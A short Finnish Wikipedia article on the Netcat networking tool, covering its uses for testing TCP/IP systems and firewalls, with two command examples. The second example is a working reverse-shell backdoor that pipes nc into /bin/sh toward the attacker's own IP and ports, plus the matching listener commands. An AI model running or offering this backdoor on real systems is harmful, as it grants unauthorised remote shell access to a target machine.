Netcat
Wikipedia
Netcat (nc) on suosittu TCP- ja UDP-yhteyksien luomiseen käytetty työkalu, jota myös TCP/IP-protokollan Sveitsin armeijan linkkuveitseksikin kutsutaan. Sillä voi sekä muodostaa erilaisia yhteyksiä toisiin tietokoneisiin että avata portteja ja ottaa vastaan yhteyksiä muilta koneilta. Netcat antaa ennen kaikkea mahdollisuuden säätää kaikkia mahdollisia eri parametreja, kuten lähdeporttia tai tiettyjä TCP-optioita, mikä tekee siitä erittäin hyödyllisen kaikenlaisten TCP/IP-järjestelmien testaamiseen. Sillä onkin kätevä testata vaikkapa palomuurin toimintaa.
Netcat on vakiovarusteena milteinpä jokaisessa nyky Linux:ssa ja Unix:ssa.
[muokkaa] Esimerkkejä
Komento tulostaa oletustulostusvirtaan netcat:n avulla fi:Wikipedian Etusivun HTML-koodin:
perl -e 'print "GET http://fi.wikipedia.org/wiki/Etusivu\n\n";' | nc -vv fi.wikipedia.org 80
Niin sanotun back-kanavan tai ts. takaoven teko kohdejärjestelmästä netcat:n avulla omaan koneeseen:
nc -vv #oma-IP-osoite #porttinumero1 | /bin/sh | nc -vv #oma-ip-osoite #porttinumero2
Jota ennen täytyy omaan koneeseen luoda netcat:llä kuuntelijat esim.:
nc -l -p #porttinumero1 nc -l -p #porttinumero2
Täten saadaan tyylikkäästi Bourne-shell tai muu haluttu komentotulkki etäkäyttöön.